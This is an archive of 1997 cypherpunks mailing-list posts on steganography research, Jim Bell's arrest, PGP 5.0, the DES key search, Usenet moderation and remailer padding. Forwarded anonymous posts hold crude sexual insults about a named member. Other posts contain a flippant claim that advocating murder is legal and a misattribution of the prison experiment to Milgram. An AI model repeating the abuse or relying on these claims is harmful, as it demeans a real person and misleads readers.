sounds like a lot of good stuff.  Check out the URL for the T. Aura paper
below; it has some statistics on actual LSB distributions in digital
images, with implications for doing truly undetectable stego.

Below are a few of the abstracts, with URL's for more info where available.

Hal

===

Stretching the Limits of Steganography 

R Anderson, Info Hiding 96 pp 39--48 

The author provides a brief overview of the state of the art in
steganography, and shows how public key steganography is possible ---
at least in the presence of a passive warden. The basic idea is that
if the communicating parties can manipulate at least one out of n bits
in the cover text, then the warden can not distinguish the parity of
successive blocks of n bits from random noise; accordingly these parity
bits can be used to hide cipher text in plain sight. Information theoretic
limits of general steganography are also discussed, and it is shown
that parity techniques can make many systems more efficient. Finally,
the differential effectiveness of active and passive wardens is discussed.

http://www.cl.cam.ac.uk/ftp/users/rja14/stegan.ps.gz 

===

Computer Based Steganography: How It Works and Why Therefore Any
Restrictions on Cryptography Are Nonsense, At Best 

E Franz, A Jerichow, S M�ller, A Pfitzmann, I Stierand, Info Hiding 96 pp 7--21 

The authors discuss a system for hiding ciphertext in the low order bits
of an ISDN telephone signal, and report measurements of the perceptibility
of various covert signal levels as a function of the cover signal and
background noise. They also discuss the meaning of perfect and pragmatic
security in the stego context. They argue that steganography is easy,
and thus restrictions on crypto will simply force criminals to use stego
which will make the law enforcement job harder.

===

Practical Invisibility in Digital Communications 

T Aura, Info Hiding 96 pp 265--278 

The author discusses some of the problems of information hiding,
including synchronising with a cover message which is a stream such
digital audio. Where the cover message is a block, such as a digital
picture, his technique is to use the Luby-Rackoff construction to
embed the hidden bits pseudorandomly throughout the picture. A test
implementation using SHA as the underlying primitive is reported.

http://deadlock.hut.fi/ste/ste_html.html
http://www.tcm.hut.fi/Opinnot/Tik-110.501/1995/steganography.html 

===

Establishing Big Brother Using Covert Channels and Other Covert Techniques 

Y Desmedt, Info Hiding 96 pp 65--71 

The author discusses a number of ways in which covert technologies
that are initially deployed for relatively mundane purposes, such as
copyright protection, can end up being subverted to provide the means
of surveillance. This problem could become progressively more serious
as more and more everyday objects become endowed with some kind of
intelligence and communications capability.

===

Anonymous Addresses and Confidentiality of Location 

IW Jackson, Info Hiding 96 pp 115--120 

The author describes how anonymous remailers can be used to process
personal location information from active badges. The goal is that each
user should be able to control who has access to information about his
location; the mechanism is that the remailers forward this information
to a server that the user trusts to enforce his security policy. The
crypto protocols used in this system are described.







From 0005514706 at mcimail.com  Mon May 19 12:41:24 1997
From: 0005514706 at mcimail.com (Michael Wilson)
Date: Tue, 20 May 1997 03:41:24 +0800
Subject: [PROJECT] Virtual c'punks forum
Message-ID: <97051919274736/0005514706DC3EM@mcimail.com>


Tim May recently made some comments that it might be a good idea to
avoid having any physical meetings of cypherpunks for the near future,
given the Jim Bell circumstance.  This ties in with a project that I
am currently undertaking, and I thought I would solicit assistance
from the cypherpunks at large.

Those of you familiar with the mechanisms of the net may be familiar
with the concept of MUSHes (a variant of the Multi User Domain or
MUD).  While email/lists are a wonderful asynchronous communication
tool, the value of an interactive medium which provides real-time
discussion is a piece of the overall communication spectrum that has
been overlooked (mostly).  New efforts to move audio or video are
interesting, but the net bandwidth needed is extreme at this stage,
and frankly 'a word is worth a thousand pictures.'

Myself and a friend would like to initiate a MUSH oriented around
creating a virtual meeting place for virtual organizations, such as
the cypherpunks.  Chat systems like IRC don't provide a context,
or some of the nifty features you can build into a MUSH.  We can
provide the coding muscle (although help is always welcome--MUSHcode
is a bastard variant similar to C or PASCAL, with some LISPy list
processing), but we need a host to provide us with a machine.  If
you might be interested, drop me a line, I can feed you the MUSH
requirements (light--~20M disk space, and light processing, since
you're just moving text).

A MUSH for a virtual organization will provide benefits:
-- an 'avatar' address in the net where people can leave you mail or
connect for an interactive discussion;
-- a virtual space, like an office, for people who want one;
-- meeting rooms, with logging available;
-- simulations;
-- briefings, so for instance, a newbie to cypherpunks could be told
the address and they could log in to receive a canned (but still more
interactive) discussion of cypherpunk issues and technology, as well
as the option to talk with other c'punks;
-- clients for MUSHes are freely available (including window and
shell variants), and we could also hack together a secure client;
this will also be a good time to work out 'anonymous telnet' systems
(MUSHes allow admin to see the host of origin, but not username).

We would like to begin this project inside the next few weeks, and
we could have something reasonably functional inside of a month after
that.  Incidentally, this is a project we've been working on for some
time, just that the need and utility have suddenly become timely.

Michael Wilson
5514706 at mcimail.com






From frissell at panix.com  Mon May 19 12:47:58 1997
From: frissell at panix.com (Duncan Frissell)
Date: Tue, 20 May 1997 03:47:58 +0800
Subject: Jim Bell goes to Jail--We should avoid raidable, physical meeting
In-Reply-To: <01BC643D.699ED1D0@marmoset.loc201.tandem.com>
Message-ID: <3.0.2.32.19970519154301.03891524@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 11:07 AM 5/19/97 -0800, Tim May wrote:

>Whether it stands up in court depends on the charges. As for you being
>willing to file a lawsuit that will make their heads spin, good for you.
>But to win a lawsuit, one has to have a case. And the laws are written
>broadly these days, and I doubt such a case would be won.

It might be hard to win lawsuits *against* the Feds although Steve Jackson 
Games did and other false arrest suits have succeeded.  The reverse of this
is 
that the Feds would have a very hard time winning a criminal case based on 
mass arrests at a Cypherpunks meeting.  They have lost loads of First 
Amendment busts over the years.  They have also lost the last few sedition 
cases they've brought even though the targets (white supremecists) were less 
popular than we would prove to be in court.  Many of us also have the 
intellectual and financial resources to mount an effective defense.  They 
would lose.

>(Did anything ever come of the police actions at the "2600" meetings in
>D.C. a few years back? I don't recall all of the details, but I gather the
>cops either moved in and made arrests, or maybe just watched and took down
>license plate numbers.)

Everything dismissed.  Just harrassment.  There were some actual arrests for 
tresspassing.  Cypherpunks meetings, however, are held with the permission of 
the building owners so such charges would fail in our case. 

I think the Feds case against JB is probably pretty weak.  Though we don't 
know the extent of his actions in the physical (as opposed to the spiritual) 
realm.  Arrests are frequently used to intimidate but dismissals or failure
to 
prosecute are very common in cases involving political dissent.

DCF

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Charset: noconv

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A/xhFaCsLU4=
=O64h
-----END PGP SIGNATURE-----






From nobody at huge.cajones.com  Mon May 19 12:52:07 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 20 May 1997 03:52:07 +0800
Subject: Message
Message-ID: <199705191923.MAA21631@fat.doobie.com>


Date: Thu, 15 May 1997 20:03:35 -0600 (MDT)
From: Graham-John Bullers 
To: lucifer Anonymous Remailer 
Cc: cypherpunks at toad.com
Subject: Re: [CRYPTO] Blowfish
Sender: owner-cypherpunks at toad.com



I think Vulis needs each of us to send ten copies of this back
to him.                                                          
   On Thu, 15 May 1997, lucifer Anonymous Remailer wrote:

> Here, Tim C. May descends into Graham-John Bullers. He should have a cold shower and/or a Turkish coffee.
> 
>           ___\
>                     X\     X>
>         _/_\____<_\_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From adam at homeport.org  Mon May 19 13:08:04 1997
From: adam at homeport.org (Adam Shostack)
Date: Tue, 20 May 1997 04:08:04 +0800
Subject: Sun to sell 3des from Russia
Message-ID: <199705191940.PAA00414@homeport.org>


http://cnnfn.com/digitaljam/9705/19/sun/


 Sun will reportedly sell encryption software through a Russian firm
 May 19, 1997: 6:26 a.m. ET
                     NEW YORK (CNNfn) -- In an attempt to get
                     around U.S. regulations regarding the export
                     of encryption technology, Sun Microsystems
                     Inc. is reportedly planning to sell data
                     security software internationally through a
                     Russian supplier. 

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From real at freenet.edmonton.ab.ca  Mon May 19 13:56:12 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Tue, 20 May 1997 04:56:12 +0800
Subject: Forgery detection
In-Reply-To: <199705191758.TAA01839@basement.replay.com>
Message-ID: 


On Mon, 19 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C. May is just another garden variety Intel pansy that has been misusing its 
> `manhole' so badly that the overstretched sphincter cannot hold back the shit that 
> all Intellers are full of and it spills out onto this mailing list.
> 
>             /\_/\
>            ( x x )
>        -oo0-(o o)-0oo- Tim C. May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From Jacks-Biz at usa.net  Tue May 20 05:07:12 1997
From: Jacks-Biz at usa.net (Jacks-Biz at usa.net)
Date: Tue, 20 May 1997 05:07:12 -0700 (PDT)
Subject: test
Message-ID: <199705201207.FAA13390@toad.com>


test






From azur at netcom.com  Mon May 19 15:44:36 1997
From: azur at netcom.com (Steve Schear)
Date: Tue, 20 May 1997 06:44:36 +0800
Subject: Incorporating in Nevada
In-Reply-To: 
Message-ID: 

While doing research for incorporation, I came across some interesting
information regarding how Nevada's laws are more corporate friendly (see
small attachment). Interestingly, one need not be a Nevada resident to
incorporate (there are a slew of Nevada companies waiting to create and
"publically" operate the corporation on your anonymous behalf).

Enjoy!

--Steve

Chapter_3.pdf


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!
-------------- next part --------------
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Name: hqx00000.hqx
Type: application/octet-stream
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URL: 

From frissell at panix.com  Mon May 19 16:35:45 1997
From: frissell at panix.com (frissell at panix.com)
Date: Tue, 20 May 1997 07:35:45 +0800
Subject: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970517113906.03d96c30@mail.teleport.com>
Message-ID: <3.0.2.32.19970519192112.03804aa0@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 11:39 AM 5/17/97 -0700, Alan Olsen wrote:

>The pgp 5.0 beta is out. It is for Win95/NT 4.0 only.  PGPKeys.exe pukes its 
>guts out when run.  (At least on my machine.)
>
>It looks like they have hired a new graphics artist.  The splash page looks 
>interesting.  Nice if the rest would run...

It works fine on two of my (WIN95) machines (including one aging 486) that 
have pretty flaky general installations.  No problems.

It automatically signs if you want and is supposed to query keyservers 
automatically if you want but I haven't got that to work.  

Pretty display of the keys in your public file.

DCF


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM4DgZ4VO4r4sgSPhAQF/uwQAqp0+ffCTSLFK6ajmCzh5Rg0IiS/L8/Cv
daUwBJ8/jlQ2Gq72qnHvuEQWrtOhUVUJDmSya2QO6f2C5IA+HEk3P7eiTQNbLXq7
89Mo118uMoG3kCsqMu05fb6KS4vdTGKeOTqmGthtxUqhfBuDGcYPsTw1yg4prs8+
tSaWp9eqbJs=
=mZs4
-----END PGP SIGNATURE-----






From frissell at panix.com  Mon May 19 16:46:30 1997
From: frissell at panix.com (frissell at panix.com)
Date: Tue, 20 May 1997 07:46:30 +0800
Subject: Jim Bell goes to Jail!
In-Reply-To: <199705190341.UAA17427@netcom18.netcom.com>
Message-ID: <3.0.2.32.19970519193338.0069ade0@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 09:12 PM 5/18/97 -0700, Alan Olsen wrote:

>Some of his statements could have been taken as advocating the killing of 
>federal employees of various sorts.  The question is whether he actually
>tried 
>to arrange it in real life.  (Which I doubt.)

In the U.S., it is legal to advocate killing anyone except Clinton and his 
family and maybe the veep.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM4DjUYVO4r4sgSPhAQEQeQP+KoW+Dd8v2lCaI9HD0lWOaDy+q5IBBxYp
UTst/SqZrb2SgTToA812/Dt4hDfjIPU2YwBhbQ4oG8CHE48asPYjqgz/1VBxTRXb
UUBfObzBXPnT1elL2daGTeoCV+Yjxd/xCWVOF6wAy2fvsmm2Ougj6nAyWXoRKUMo
6iSTIbA4piM=
=n+ye
-----END PGP SIGNATURE-----






From dlv at bwalk.dm.com  Mon May 19 16:59:18 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 20 May 1997 07:59:18 +0800
Subject: Jim Bell goes to Jail!
In-Reply-To: <199705191512.IAA21302@netcom21.netcom.com>
Message-ID: 


mpd at netcom.com (Mike Duvos) writes:

> Lucky Green writes:
> 
> : Right. I read a book on that. I think it was called "The Millgram
> : Experiment". Normal people would administer (fake, but they didn't know
> : it) electroshocks to a subject even after the subject had stopped moving
> : and could have been assumed to be unconscious or even dead. An excellent
> : demonstration of the power of authority. And the gullibility of the
> : average person. 
> 
> Stanley Millgram did quite a few experiments along such lines.  His
> conclusion after persuading quite ordinary people to administer what
> seemed to be fatal electric shocks to a subject, pressured only by the
> orders of an authority figure saying "The experiment must continue"  and
> other such phrases, was that should the United States wish to set up a
> system of Nazi style death camps, personnel to staff them could be taken
> from the population of any average midwestern town. 
> 
> He also did another interesting experiment called "prisoners and guards"
> in which he selected people at random and dressed them up in the
> appropriate uniforms.  The guards happily abused the prisoners, falling
> into the appropriate roles almost automatically. 
> 
> Of course, such psychological experiments are banned today, because they
> don't make it through the ethics committees.  Nonetheless they demonstrate
> that there are few differences between "us" and "them," and that most
> ordinary people will rise to the occasion when given a new pair of
> jackboots. 


I recently came across a very similar incident on the Usenet newsgroup
alt.smokers.cigars.  (Disclaimer: I don't smoke, at least not cigars.)

In a nutshell, some business person came across this (pretty active)
newsgroup (he was not around when it was newgrouped and became pretty
active), declared it its property, and began to retromoderate it (i.e.
forge cancels for any traffic he didn't like).  He kept claiming that
he is some kind of "Usenet Administrator with Full Access". A couple
of searches in DejaNews will turn up plenty of amazing responses from
the regulars in the newsgroups bending over and baaing, "We're not
questioing Bob's authority as a Usenet Administrator, nor the way he
chooses to fuck us over..." Recommended reading.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From azur at netcom.com  Mon May 19 17:56:40 1997
From: azur at netcom.com (Steve Schear)
Date: Tue, 20 May 1997 08:56:40 +0800
Subject: SIC SEMPER TYRANNIS
In-Reply-To: 
Message-ID: 


At 5:10 PM -0700 5/19/97, Martin Minow wrote:
>Tim May wrote:
>>
>>Also, my tag line, "Death to tyrants!" is straight out of the Founders'
>>mouths.
>>
>Umm, I may be mistaken, but I believe that "Sic Semper Tyrannis" translates as
>"thus always to tyrants" and was spoken by John Wilkes Booth when he
>assasinated President Lincoln.

Close enough...

--Steve







From minow at apple.com  Mon May 19 17:59:12 1997
From: minow at apple.com (Martin Minow)
Date: Tue, 20 May 1997 08:59:12 +0800
Subject: SIC SEMPER TYRANNIS
In-Reply-To: <3.0.32.19970519000650.0075509c@netcom13.netcom.com>
Message-ID: 


Tim May wrote:
>
>Also, my tag line, "Death to tyrants!" is straight out of the Founders'
>mouths.
>
Umm, I may be mistaken, but I believe that "Sic Semper Tyrannis" translates as
"thus always to tyrants" and was spoken by John Wilkes Booth when he
assasinated
President Lincoln.

Pedantically yours,

Martin Minow
minow at apple.com








From shamrock at netcom.com  Mon May 19 18:18:24 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 20 May 1997 09:18:24 +0800
Subject: DES search making serious progress
Message-ID: 


Folks,

The DES key search is making serious progress. The leading contender 
seems to be DESCHALL http://www.frii.com/~rcv/deschall.htm

They are currently searching >3.5 billion keys per second. Estimated time 
to completion is 14 weeks.

It is no longer a question if the key will be found. We now need to make
sure that it is found as quickly as possible. 

Please download and run the software.

Thanks,
-- Lucky Green  PGP encrypted mail preferred







From alan at ctrl-alt-del.com  Mon May 19 18:42:38 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Tue, 20 May 1997 09:42:38 +0800
Subject: More on the Jim Bell case
Message-ID: <3.0.2.32.19970519183115.00b84e30@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

The local news just had a story on the Jim Bell case.

They are now claiming that the search warrent (how the news people got a copy 
is a big question) included Sarin nerve gas and Anthrax (not the band).

The news story was a pretty interesting hatchet job.  Included a number of 
horsemen and prominently mentioned encryption.  They claimed that the reason 
for the raid on East's home was because he sent Bell encrypted messages 
containing various evil and unauthorized thoughts.

Why am I not surprised...

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQEVAwUBM4D6e+QCP3v30CeZAQHE4Af/TVM1CJHKCu+1YE1MJ7rifbRmfINGI7jv
EPYv/6Hd4ymKTuvVL40lvjCCTUTcOvPssFsJRUpjiRSBugVmbw7q4FbbBwG8cE3Y
SsaB+hFcJWBoWfs/aGBbHPv5ZBFdmWDoqFBIfAbnxeSBNLCEPYF5Uv+b59BbwSeL
fk8yavmAeCO0tieXU0MZwZUpavodNAD1WC7JlPHE1UYZAjy67WOW2UxwLaNgI5VM
LeHmBKYBUxEUdofuUUGbLoUNAFvj009Lq4n0vTR5op1bxoClaXia20t8BW4xAZoR
Y8ZqEBrQ+hlDjRJaWKUjVSq1AmOeoVbhL/18fN7WvxiAPn6aNuP++A==
=w8P/
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From jya at pipeline.com  Mon May 19 18:54:57 1997
From: jya at pipeline.com (John Young)
Date: Tue, 20 May 1997 09:54:57 +0800
Subject: Jim Bell News
Message-ID: <1.5.4.32.19970520012631.008c3794@pop.pipeline.com>


John Painter, the Oregonian reporter of Jim Bell's
arrest, said this evening that he's got another
story coming out tomorrow that will reveal more
of the situation, and that he'll fax a copy (which 
I'll post unless Alan does).

Mr. Painter says:

Jim's still in the Tacoma, WA, federal jail. There was
a prelim today and a hearing is due Friday.

The feds are keeping the case documents sealed.

Speculates that someone may be squealing on Jim 
in a deal.

Jim cannot receive calls but can call out collect.

A U.S. Federal Defender has been assigned to 
represent Jim: Peter Avenia, tel: 253-593-6710. 
Mr. Avenia did not return a call.

The U.S. District Court Judge is J. Kelly Arnold. 
Court Clerk is Kelly Miller, tel: 253-593-6313.

The Oregonian's telephone: 1-800-452-1420.

A man at Jim's home politely said he did not 
want to talk about it. Tel: 360-696-3911.







From ichudov at algebra.com  Mon May 19 19:09:10 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 20 May 1997 10:09:10 +0800
Subject: CFV: moderate sci.cryonics -- I vote NO
Message-ID: <199705200159.UAA05630@manifold.algebra.com>


Lewis McCarthy (lmccarth at cs.umass.edu) wrote in <3377FA31.167E at cs.umass.edu>:
* Charles Platt writes:
* > I feel it's unfortunate that the 
* > charter was worded to exclude anonymous postings, but clearly this 
* > news group does need to be moderated, and I believe that Keith will 
* > do so fairly and openly.
* 
* That's all well and good, but the CFV is a referendum (in part) on the 
* particular charter that appears in the CFV, not on an alternate policy
* that purportedly may be followed by the moderator. Unfairly applied

That is correct.

The promises by the proposed moderator are even more suspicious given
that:

	This future moderator PROMISES TO VIOLATE HIS OWN CHARTER.

The charter is absolutely clear in respect to what is not allowed:

Charter> Unacceptable messages include personal attacks, messages 
Charter> posted without a valid sender address, and any message not 
Charter> pertaining to the topics above.

(see 

http://xp5.dejanews.com/getdoc.xp?recnum=5944883&server=db97p2x&CONTEXT=864091788.16601&hitnum=11

for the charter and ballot)


* written rules have a real chance of being challenged, whereas with 
* unwritten rules there's much less hope of receiving fair treatment. 
* Overly broad restrictions, like the one in the CFV regarding messages 
* from unreplyable senders, are a boon for selective enforcement. 

I repeat again, in my opinion, there is no valid reason for any
moderated discussion newsgroup to ever forbid anonymous and pseudonymous
postings. Such restrictions destroy the value that usenet newsgroups
have.

Correspondently, I will strongly oppose any proposal that restricts
posters ability to post anonymously.

Presence of such provision in the charter is a strong indication
that the proponent is a control freak.

* It's been a couple of years since I voted on a newsgroup proposal, but
* I'll be voting NO on this sci.cryonics reorganization. Get back to me
* if the charter is reworded s.t. the moderator is directed to judge a
* message primarily based on its _content_  rather than its _sender_.

Could not agree more!

* CFV pointer: Message-ID <863077501.7020 at isc.org>, posted to the usual
* places on May 8 by David Bostwick
* -- 
* Lewis    http://www.cs.umass.edu/~lmccarth/lmkey.asc   "And all the 
* science, I don't understand; it's just my job, eight days a week..."






From ichudov at algebra.com  Mon May 19 19:14:02 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 20 May 1997 10:14:02 +0800
Subject: Legality of Millgram-type psychological experiments
In-Reply-To: 
Message-ID: <199705200157.UAA05610@manifold.algebra.com>


Tim May wrote:
> 
> At 7:12 AM -0800 5/19/97, Mike Duvos wrote:
> 
> >Of course, such psychological experiments are banned today, because they
>                                                ^^^^^^^^^^^^
> >don't make it through the ethics committees.  Nonetheless they demonstrate
> >that there are few differences between "us" and "them," and that most
> >ordinary people will rise to the occasion when given a new pair of
> >jackboots.
> 
> I'm curious about the "such psychological experiments are banned today"
> assertiokn.

These experiments were mostly done at Stanford.

After the unbelievable scandal with the jail experiment (which, to my
knowledge, involved physical injuries), Stanford Board forbade any
experiments done without the approval of a special ethics councel.

Many other universities followed.

(please correct me if i am mistaken)

	- Igor.






From ichudov at algebra.com  Mon May 19 19:18:15 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 20 May 1997 10:18:15 +0800
Subject: CFV: moderate sci.cryonics -- CENSORING antispammers
Message-ID: <199705200204.VAA05717@manifold.algebra.com>


Jay Denebeim (denebeim at deepthot.cary.nc.us) wrote
* Igor Chudov @ home  wrote:
* 
* > Charles, sci.cryonics may well be in need of moderation. The
* > proponent may also be a great person. I also have deep respect for
* > you personally.  But the provision in the charter that does not
* > allow postings without a replyable sender address is rather
* > unfortunate. I would certainly vote yes if that particular provision
* > was removed. Otherwise, I find it unacceptable for myself to vote
* > YES.
* 
* Why is that Igor?  There's been very little, if any, spam generated to
* rastb5m users, and that provision has been in place since before
* anti-spam forgeries were in vogue.  If spammers arn't mining a TV
* group, they certainly wouldn't be mining a sci group.

I see your point, Jay. What you are suggesting, probably not without
reason, is that the spam volume is not expected to be huge.

I may agree to that. The problem with this argument is that 

1) No matter how much spam they get, posters have a legitimate
reason to protect themselves

2) Typically, altering the reply address is done before 
the newsreader is even started, changing it for only one censorous
newsgroup is a royal pain in the back

3) People should have freedom to post anonymously, especially on
such sensitive topic as cryonics

4) Anonymity is NOT a threat to moderated newsgroups

Considering all that, I do not consider the proposed charter to be 
acceptable.


(see http://xp5.dejanews.com/getdoc.xp?recnum=5944883&server=db97p2x&CONTEXT=864091788.16601&hitnum=11






From ichudov at algebra.com  Mon May 19 19:24:47 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 20 May 1997 10:24:47 +0800
Subject: CFV: moderate sci.cryonics -- CENSORING antispammers
Message-ID: <199705200217.VAA05908@manifold.algebra.com>


Joseph J. Strout (jstrout at ucsd.edu) wrote in 
* In article , Charles
* Platt  wrote:
* >> >Unacceptable messages include personal attacks, messages posted
* >> >without a valid sender address, and any message not pertaining to the
* >> >topics above.
* >
* >I would like to interpret "valid sender address" as meaning an address to 
* >which replies can be sent, without them bouncing. This would include 
* >anonymous remailers that allow an (anonymized) reply function. It would 
* >exclude anonymous remailers that don't allow such a function.
* >
* >Perhaps we could hear from the person who drafted the CFV to clarify this 
* >point. Or Keith Lynch could tell us whether he plans to use this 
* >interpretation.
* 
* Yes, I drafted the CFV, and this is exactly what I meant by "valid sender
* address".  This is clearly distinguishable from a fake address, which does
* not really exist and to which no email can be sent.  Requiring a valid
* return address applies a small amount of accountability to the poster. 
* This is the same criterion used, for example, when posting via DejaNews.

There is nothing good about this "accountability", and this is precisely
what I object to in the CFV.

There is no need for "accountability" in the moderated newsgroup.

	- Igor.






From nobody at hidden.net  Mon May 19 20:21:57 1997
From: nobody at hidden.net (Anonymous)
Date: Tue, 20 May 1997 11:21:57 +0800
Subject: Remailer messages of variable length
Message-ID: <199705200305.UAA09291@jefferson.hidden.net>


To complicate traffic analysis Sender can add a padding to his message
before encrypting it for some remailer in chain. So that the
message is shortened after decryption and stripping of pseudo headers.
It can be done with a dummy header lines:

##
Padding: fjx6zRURnnK1DV4CdL7gbHpnUiV1KbbRf5HatXiaD+ZPtH0 ...

Also, for a length increment a remailer may understand commands like:

##
Pad-length: 1K
Pad-encrypt-for: remailer at replay.com

It will then add the 'Padding:' header and re-encrypt the message with
the appropriate remailer's public key. The next remailer in chain will see
the padding and will try do decrypt the message twice...

If stealth crypto is used, a random padding can be simply attached to the
end of the message.

Also, the remailer by itself can decide to increase a message length to
cover some rare big messages.

---






From Jacks-Biz at usa.net  Tue May 20 11:43:29 1997
From: Jacks-Biz at usa.net (Jacks-Biz at usa.net)
Date: Tue, 20 May 1997 11:43:29 -0700 (PDT)
Subject: test
Message-ID: <199705201843.LAA19640@toad.com>


test






From pooh at efga.org  Mon May 19 21:07:35 1997
From: pooh at efga.org (Robert A. Costner)
Date: Tue, 20 May 1997 12:07:35 +0800
Subject: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970517113906.03d96c30@mail.teleport.com>
Message-ID: <3.0.2.32.19970519235515.032d1868@intergate.net>


-----BEGIN PGP SIGNED MESSAGE-----

I'm very happy with the PGP 5.0 beta after less than an hour of testing.

The new PGP 5.0 seems to work well.  I'm finding a few bugs, and I had a 
configuration problem or two.  But this is much better than using the DOS 
version from Windows.  And much nicer than using Private Idaho.

For crypto to have widespread acceptance, crypto must work seamlessly on 
common platforms such as Windows.  While any Linux administrator can use PGP 
without much problem, the average Windows based knowledge worker has had 
problems with this.  PGP seamlessly integrates with Eudora and provides 
features required for electronic commerce.

I have used the keyserver lookup feature (from PGPkeys) and found it worked 
well.  PGP options have been added both to the Eudora menu and the toolbar.  
While I was not able to download PGP on Friday or Monday (day), customer 
support worked with me, and the technical people installed server updates to 
the US verification process on Friday and Monday afternoon, allowing me to 
finally download the 5MB file tonight.

PGP 5.0 takes advantage of the 32-bit APIs and uses the Win95 interface.  My 
existing 2.6 keyring was imported with no problem, and I have been able to use 
PGP 2.6 to verify signatures created with 5.0.  Best I can tell, the new 
product is backwards compatible with older versions.  I've also gotten email 
from a PGP person who has assured that source code will be available later.

The new product, when combined with Eudora seamlessly integrates

 * Email
 * Spell checking
 * Digital Signatures
 * Certification Authority (CA)
 * Web of trust
 * Encryption
 * Availability from a commercial source

This seamless integration is what is required to allow for successful 
implementation of Digital Signature initiatives most states have passed or are 
considering.

Overall, I'm happy.  I'd recommend that people obtain the beta and test it 
out.  I don't know what it will be selling for, but I'm sure it will be worth 
the price.

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM4EgnUGpGhRXg5NZAQFvugIAojhDAbHQfIhe48LYveKNmlSHez0MBn8+
dLrBMM3+tTCdKJrRZRQKvY+Qux4YFc5tJnn+EZFf5tSsGV/7jGqsVQ==
=Gi0T
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/
     






From lharrison at mhv.net  Mon May 19 21:34:43 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Tue, 20 May 1997 12:34:43 +0800
Subject: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970519192112.03804aa0@panix.com>
Message-ID: <3.0.1.32.19970520002025.006dafc4@pop.mhv.net>


-----BEGIN PGP SIGNED MESSAGE-----

Well, now that I've seen some good and bad reviews regarding the beta
version, I'm still curious to hear from someone who uses PGPMail ver. 4.5
with Eudora Pro.  From what I've read, it seems the new beta version has
nothing new to add - except some quirky bugs and the source code that's
supposed to be available at some time in the future.

Has anyone compared the above?

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM4EmeT5A4+Z4Wnt9AQGMQwQAn48j+/KJVNlFKkWMZx0VLyfuob10jQL4
b1rx+tO7icLKcuYjU8WwHQlAJooeqXq0bjAtQ88+6DMbqfJpds7I68Wv1xpFwI8f
qkV4wWGttHzJ4S2BucLvlWyp33kTmOdVzFlctLPk9PAV++sXc3sQ7fXrhiuUn3wJ
+MpLYbhRaFA=
=ogVd
-----END PGP SIGNATURE-----


*********************************************************
